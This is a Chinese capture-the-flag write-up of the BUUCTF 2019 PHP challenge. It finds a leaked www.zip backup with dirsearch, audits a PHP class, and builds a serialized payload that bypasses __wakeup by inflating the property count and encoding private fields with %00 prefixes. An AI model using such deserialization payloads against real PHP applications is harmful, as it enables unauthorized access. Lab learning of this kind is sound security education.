BUUCTF [极客大挑战 2019]PHP WP

前言

以前一直对PHP反序列化似懂非懂,现在借此机会将其弄懂,参考了各位师傅的wp而一步一步的学习。
CTF平台:https://buuoj.cn/challenges(传送门


过程

打开之后是这样的画面
在这里插入图片描述
根据题目提示备份网站,所以很容易想到备份的源码泄露----->用dirsearch扫目录

dirsearch

一款基于python3的目录爆破工具

下载地址: (没有这个工具的可以进入giuhub下载,此处附上链接)
https://github.com/maurosoria/dirsearch

使用

-u 指定url

-e 指定网站语言

-w 可以加上自己的字典(带上路径)

-r 递归跑(查到一个目录后,在目录后在重复跑,很慢,不建议用)

进入dirsearch目录后

执行dirsearch.py -u 127.0.0.1 -e php类似的目录,这里我们使用

dirsearch.py -u http://71f04e34-1537-41f0-8c4f-e3de12f432b9.node3.buuoj.cn -e php

扫描后发现里面的文件非常的多,不过我们需要的是备份文件,所以找到备份文件的地方。
在这里插入图片描述

直接在url后加上www.zip就可以下载压缩包,在本地解压后发现一下文件
在这里插入图片描述
打开flag.php提交里面的flag不过是假的…

那就老老实实查看别的文件
打开index.php发现了这样的一段代码
在这里插入图片描述

解读过来就是包含了class.php,变量select 传入并反序列化。所以,这可能是一道PHP反序列化的一道题。

接下来我们再看看class.php,审计一下

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }

}
?>

首先看如何得flag,一看就很明显了,需要反序列化后满足 password = 100 和username === ‘admin’
所以我们需要达成这些需求。在class.php的后面构造序列化,加上一下两句代码在class.php的后面即可

$a = new Name("admin",100);
var_dump(serialize($a));

或者

$a = new Name("admin",100);
echo (serialize($a));

在本地运行后得到的序列化为:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

到了这一步,问题就来了,在反序列化的时候会首先执行__wakeup()魔术方法,但是这个方法会把我们的username重新赋值,所以我们要考虑的就是怎么跳过__wakeup(),而去执行__destruct

跳过__wakeup()

作用:
与__sleep()函数相反,__sleep()函数,是在序序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。
绕过:
当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。

上面的序列化中,其中name后面的2,代表类中有2个属性,但如果我们把2改成3,就会绕过__wakeup()函数。
因此我们将序列化这样设置

O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

不过还是没有结束,因为这个声明变量是private

private

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度


其中学习到的知识点挺多: 附上传送门大家自行学习下
不同的访问修饰符对应的序列化也有不同。

public 、public、protected

访问修饰符,分别对应着类中的 公有、私有、受保护成员。引用解释
不同的访问修饰符对应的序列化也有不同。

各访问修饰符序列化后的区别
public:属性被序列化的时候属性名还是原来的属性名,没有任何改变
protected:属性被序列化的时候属性名会变成%00*%00属性名,长度跟随属性名长度而改变
private:属性被序列化的时候属性名会变成%00类名%00属性名,长度跟随属性名长度而改变

我们再次改造一下序列化

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

最后,将构造好的序列化当作select的参数传递到url上即可

http://bcaed708-bce7-42a1-8925-01cd21b3574b.node3.buuoj.cn/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

得到flag{e6b787e5-6b81-436e-aeb7-d4cf70d7774c}
在这里插入图片描述

总结

1、dirsearch
2、PHP反序列化(代码审计)
3、跳过__wakeup()
4、public 、public、protected 序列化时的差别。(重点)

还有可以用python传值 -->参考
关于PHP序列化与反序列化(__sleep与__wakeup)还不了解的可以参考这位师傅的博客—>传送门

参考了几位师傅的wp,特此感谢
https://segmentfault.com/a/1190000022534926
https://blog.csdn.net/TM_1024/article/details/106627210
https://blog.csdn.net/weixin_44077544/article/details/103542260

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值